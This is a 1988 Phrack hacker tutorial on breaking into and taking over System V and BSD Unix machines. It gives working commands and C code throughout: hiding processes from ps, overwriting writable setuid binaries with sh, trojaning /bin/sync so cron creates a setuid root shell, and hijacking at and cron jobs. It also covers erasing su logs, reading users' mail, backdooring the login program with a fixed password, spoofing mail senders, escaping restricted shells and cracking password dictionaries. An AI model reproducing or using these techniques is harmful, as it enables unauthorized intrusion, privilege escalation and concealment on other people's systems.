==Phrack Inc.==

                    Volume Two, Issue 18, Phile #6 of 11

------------------------------------------------------------------------------
                           Unix for the Moderate
-------------------------------------------------------------------------------
               By:  The Urvile, Necron 99, and a host of me.
-------------------------------------------------------------------------------

Disclaimer:

  This is mainly for system five.  I do reference BSD occasionally, but I
  mark those.  All those little weird brands (i.e., DEC's Ultrix, Xenix, and
  so on) can go to hell.


Security:  (Improving yours.)

  -Whenever logging onto a system, you should always do the following:
      $ who -u
      $ ps -ef
      $ ps -u root

  or BSD:
      $ who; w; ps uaxg
  This prints out who is on, who is active, what is going on presently,
  everything in the background, and so on.

  And the ever popular:
      $ find / -name "*log*" -print
  This lists out all the files with the name 'log' in it.  If you do find a
  process that is logging what you do, or an odd log file, change it as soon
  as you can.

  If you think someone may be looking at you and you don't want to leave
  (Useful for school computers) then go into something that allows shell
  breaks, or use redirection to your advantage:
      $ cat < /etc/passwd
  That puts 'cat' on the ps, not 'cat /etc/passwd'.

  If you're running a setuid process, and don't want it to show up on a ps
  (Not a very nice thing to have happen), then:
      $ super_shell
      # exec sh
  Runs the setuid shell (super_shell) and puts something 'over' it. You may
  also want to run 'sh' again if you are nervous, because if you break out of
  an exec'ed process, you die.  Neat, huh?


Improving your id:

  -First on, you should issue the command 'id' & it will tell you you your
  uid and euid.  (BSD:  whoami; >/tmp/xxxx;ls -l /tmp/xxxx will tell you your
  id [whoami] and your euid [ls -l].), terribly useful for checking on setuid
  programs to see if you have root euid privs. Also, do this:
      $ find / -perm -4000 -exec /bin/ls -lad {} ";"
  Yes, this finds and does an extended list of all the files that have the
  setuid bit on them, like /bin/login, /bin/passwd, and so on.  If any of
  them look nonstandard, play with them, you never can tell what a ^| will do
  to them sometimes.  Also, if any are writeable and executable, copy sh over
  them, and you'll have a setuid root shell. Just be sure to copy whatever
  was there back, otherwise your stay will probably be shortened a bit.

  -What, you have the bin passwd?

  Well, game over.  You have control of the system.  Everything in the bin
  directory is owned by bin (with the exception of a few things), so you can
  modify them at will.  Since cron executes a few programs as root every once
  in a while, such as /bin/sync, try this:

      main()
         {
              if (getuid()==0 || getuid()==0)        {
                   system("cp /bin/sh /tmp/sroot");
                   system("chmod 4777 /tmp/sroot");  }
              sync();
         }

      $ cc file.c
      $ cp /bin/sync /tmp/sync.old
      $ mv a.out /bin/sync
      $ rm file.c

  Now, as soon as cron runs /bin/sync, you'll have a setuid shell in
  /tmp/sroot.  Feel free to hide it.

  -the 'at' & 'cron' commands:

  Look at the 'at' dir.  Usually /usr/spool/cron/atjobs.  If you can run 'at'
  (check by typing 'at'), and 'lasttimedone' is writable, then: submit a
  blank 'at' job, edit 'lastimedone' to do what you want it to do, and move
  lasttimedone over your entry (like 88.00.00.00).  Then the commands you put
  in lasttimedone will be ran as that file's owner.  Cron:  in
  /usr/spool/cron/cronjobs, there are a list of people running cron jobs.
  Cat root's, and see if he runs any of the programs owned by you (Without
  doing a su xxx -c "xxx").  For matter, check all the crons.  If you can
  take one system login, you should be able to get the rest, in time.

  -The disk files.

  These are rather odd.  If you have read permission on the disks in /dev,
  then you can read any file on the system.  All you have to do is find it in
  there somewhere.  If the disk is writeable, if you use /etc/fsbd, you can
  modify any file on the system into whatever you want, such as by changing
  the permissions on /bin/sh to 4555.  Since this is pretty difficult to
  understand (and I don't get it fully), then I won't bother with it any
  more.

  -Trivial su.

  You know with su you can log into anyone else's account if you know their
  passwords or if you're root.  There are still a number of system 5's that
  have uid 0, null passwd, rsh accounts on them.  Just be sure to remove your
  entry in /usr/adm/sulog.

  -Trojan horses?  On Unix?

  Yes, but because of the shell variable PATH, we are generally out of luck,
  because it usually searches /bin and /usr/bin first.  However, if the first
  field is a colon, files in the present directory are searched first.  Which
  means if you put a modified version of 'ls' there, hey.  If this isn't the
  case, you will have to try something more blatant, like putting it in a
  game (see Shooting Shark's file a while back).  If you have a system login,
  you may be able to get something done like that.  See cron.


Taking over:

  Once you have root privs, you should read all the mail in /usr/mail, just
  to sure nothing interesting is up, or anyone is passing another systems
  passwds about.  You may want to add another entry to the passwd file, but
  that's relatively dangerous to the life of your machine.  Be sure not to
  have anything out of the ordinary as the entry (i.e., No uid 0).

  Get a copy of the login program (available at your nearest decent BBS, I
  hope) of that same version of Unix, and modify it a bit:  on system 5,
  here's a modification pretty common:  in the routine to check correct
  passwds, on the line before the actual pw check, put a if
  (!(strcmp(pswd,"woof"))) return(1); to check for your 'backdoor', enabling
  you to log on as any valid user that isn't uid 0 (On system 5).


Neato things:

  -Have you ever been on a system that you couldn't get root or read the
  Systems/L.sys file?  Well, this is a cheap way to overcome it:  'uuname'
  will list all machines reachable by your Unix, then (Assuming they aren't
  Direct, and the modem is available):
      $ cu -d host.you.want            [or]
      $ uucico -x99 -r1 -shost.you.want
  Both will do about the same for us.  This will fill your screen with lots
  of trivial material, but will eventually get to the point of printing the
  phone number to the other system.  -d enables the cu diagnostics, -x99
  enables the uucico highest debug, and -R1 says 'uucp master'.

  Back a year or two, almost everywhere had their uucp passwd set to the same
  thing as their nuucp passwd (Thanks to the Systems file), so it was a
  breeze getting in.  Even nowadays, some places do it.. You never can tell.

  -Uucp:

  I personally don't like the uucp things.  Uucico and uux are limited by the
  Permissions file, and in most cases, that means you can't do anything
  except get & take from the uucppublic dirs.  Then again, if the
  permission/L.cmd is blank, you should be able to take what files that you
  want.  I still don't like it.

  -Sending mail:

  Sometimes, the mail program checks only the shell var LOGNAME, so change
  it, export it, and you may be able to send mail as anyone.  (Mainly early
  system 5's.)
      $ LOGNAME="root";export LOGNAME

  -Printing out all the files on the system:

  Useful if you're interested in the filenames.
      $ find / -print >file_list&
  And then do a 'grep text file_list' to find any files with 'text' in their
  names.  Like grep [.]c file_list, grep host file_list....

  -Printing out all restricted files:

  Useful when you have root. As a normal user, do:
      $ find / -print >/dev/null&
  This prints out all nonaccessable directories, so become root and see what
  they are hiding.

  -Printing out all the files in a directory:

  Better looking than ls -R:
      $ find . -print
  It starts at the present dir, and goes all the way down.  Catches all
  '.files', too.

  -Rsh:

  Well in the case of having an account with rsh only, check your 'set'.  If
  SHELL is not /bin/sh, and you are able to run anything with a shell escape
  (ex, ed, vi, write, mail...), you should be put into sh if you do a '!sh'.
  If you have write permission on your .profile, change it, because rsh is
  ran after checking profile.

  -Humor:

  On a system 5, do a:
      $ cat "food in cans"

  or on a csh, do:
      % hey unix, got a match?

  Well, I didn't say it was great.


Password hacking:

  -Salt:

  In a standard /etc/passwd file, passwords are 13 characters long.  This is
  an 11 char encrypted passwd and a 2 char encryption modifier (salt), which
  is used to change the des algorithm in one of 4096<?> ways.  Which means
  there is no decent way to go and reverse hack it.  Yet.

  On normal system 5 Unix, passwords are supposed to be 6-8 characters long
  and have both numeric and alphabetic characters in them, which makes a
  dictionary hacker pretty worthless.  However, if a user keeps insisting his
  password is going to be 'dog,' usually the system will comply (depending on
  version).  I have yet to try it, but having the hacker try the normal
  entry, and then the entry terminated by [0-9] is said to have remarkable
  results, if you don't mind the 10-fold increase in time.


Final notes:

  Yes, I have left a lot out.  That seems to be the rage nowadays..  If you
  have noticed something wrong, or didn't like this, feel free to tell me.
  If you can find me.

-------------------------------------------------------------------------------
                   Hi Ho.  Here ends part one.  <Of one?>
-------------------------------------------------------------------------------
                Produced and directed by: Urvile & Necron 99
----------------------------------------------------------- (c)  ToK inc., 1988